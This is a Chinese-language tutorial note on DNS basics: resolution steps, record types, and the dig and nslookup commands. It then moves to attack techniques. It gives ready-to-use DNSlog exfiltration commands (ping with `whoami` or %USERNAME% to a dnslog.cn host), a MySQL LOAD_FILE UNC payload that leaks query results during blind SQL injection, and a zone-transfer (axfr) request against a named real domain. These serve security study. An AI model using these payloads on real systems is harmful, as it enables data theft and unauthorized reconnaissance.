DNS的相关知识总结

Zone文件(Zonefile)

Zonefile是一个包含单个域的不同记录的文本文件,文件中每一行都包含特定域的名称以及与其关联的值和类型。

DNS解析过程

在浏览器输入一个链接回车后,所进行的第一步就是域名解析

1.浏览器检查自身缓存中是否有解析记录,有的话则直接使用这个记录

2.如果浏览器没有这个缓存(未命中),浏览器会检查操作系统中是否有解析记录;例如Linux中的/etc/hosts

3.如果还未命中,则会开始请求本地域名服务器(LDNS)来解析这个域名;本地域名服务器一般在自己所在城市不远处

4.如果LDNS未命中,则会请求根域名服务器(Root Server)请求解析;全世界IPv4根域名服务器有13组

5.根域名服务器返回给LDNS一个所查询域的主域名服务器

6.LDNS再次向上一步返回的服务器发送请求;查询到后会返回域名对应的Name Server地址(网站注册的域名服务器)

7.Name Server找到目标ip,返回给LDNS

8.LDNS缓存这个记录,并将解析结果返回给用户;用户根据TTL值进行缓存解析记录


Ubuntu的DNS配置文件:/etc/resolv.conf,可设置DNS服务器的IP地址及DNS域名

相关命令:

nslookup:常用来查询本机域名解析情况的工具

DNS记录

DNS的记录是域和相关数据之间的独立映射

  • A记录:又称IP指向,用户可以在此设置子域名并指向到自己的目标主机地址上,从而实现通过域名找到服务器
  • PTR记录:指针记录,是A记录逆向记录,用于将IP地址解析为域名
  • AAAA记录:IPv6下的A记录和PTR记录,可将一个域名解析到IPv6地址上,也可以将子域名解析到IPv6地址上
  • CNAME记录:又称别名指向,用户可以为主机设置一个别名
  • MX记录:邮箱交换记录,用于将以域名为结尾的电子邮件指向对应的邮件服务器以进行处理
  • NS记录:域名服务器记录,用来表明由哪台服务器对该域名进行解析
  • SOA记录:起始授权机构记录,NS记录说明了有多台服务器在进行解析,而SOA记录则说明了在众多NS记录中主要服务器的记录
  • SRV记录:服务器资源记录,是在RFC2052中新定义的记录,很多老版本的DNS并不支持此记录。SRV记录说明了一个服务器能够提供什么样的服务,域内的计算机需要依赖DNS中的SRV记录来定位域控制器
  • TXT记录:为某条记录设置说明,起注释的作用

相关命令:

dig:是一个在类Unix命令行模式下查询DNS包括NS记录,A记录,MX记录等相关信息的工具;基本用法:

dig 域名 记录类型(不指定默认为A记录)

尝试所有类型的记录:

dig 域名 ANY

OOB

OOB,即Out of Band,带外数据。传输层协议使用带外数据来发送一些重要的数据,如果通信一方有重要的数据需要通知对方时,协议能够将这些数据快速地发送到对方

利用DNSlog外带数据

网上有很多dnslog平台,如ceye。他们的nameserver address设置为自己的服务器ip,这样分配的域名的dns解析记录都会发送到自己服务器上。当然自己有服务器的话也可以自己搭建

Linux下利用

ping `whoami`.9jts63.dnslog.cn

有些命令如ls的结果会有空格、非合法字符、字符过长等因素会导致ip请求失败,可以使用sed、cut、base32等Linux命令处理,可参考飘零大佬的文章

Windows下利用

ping %USERNAME%.9jts63.dnslog.cn

常用变量:

//变量                      类型       描述
//%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
//%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
//%CD%                     本地       返回当前目录字符串。
//%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%           系统       返回计算机的名称。
//%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
//%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。
//%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
//%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                   系统       指定可执行文件的搜索路径。
//%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
//%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%     系统       返回处理器的版本号。
//%PROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%            系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                   系统       返回当前时间。使用与time /t 命令相同的格式。由Cmd.exe生成。
//%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
//%USERNAME%               本地       返回当前登录的用户的名称。
//%USERPROFILE%            本地       返回当前用户的配置文件的位置。
//%WINDIR%                 系统       返回操作系统目录的位置。
MySQL利用

Windows下的UNC路径是类似\\something的形式的路径,它主要用于在Windows上指定和映射网络驱动器,最多被应用于在局域网中访问文件服务器或打印机

格式:\\servername\sharename;servername是服务器名,sharename是共享资源的名称

那么在遇到SQL盲注时,可以利用UNC和DNSlog外带数据。payload:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.mysql.ip.port.ceye.io\\abc'));

其中,\\\\会进行转义为\\,变成UNC格式,load_file会对其发起请求;查询的数据需要编码为域名的格式,即字母+数字,才能正常发起请求;需要msyql的读权限

DNS Zone Transfer

DNS域传送漏洞:域传送是指备份服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。若DNS服务器配置不当,可能导致匿名用户获取某个域的所有记录

第一步: 找到解析域名的dns服务器(Server服务器)

> dig thnu.edu.cn ns

;; ANSWER SECTION:
thnu.edu.cn.        2185    IN  NS  DNS1.thnu.edu.cn.

第二步: 向该域名发送axfr 请求:

> dig axfr @dns1.thnu.edu.cn thnu.edu.cn

待更.


参考文章:

https://www.jianshu.com/p/37a5df5ba474

https://www.jianshu.com/p/d2af08e6f8fb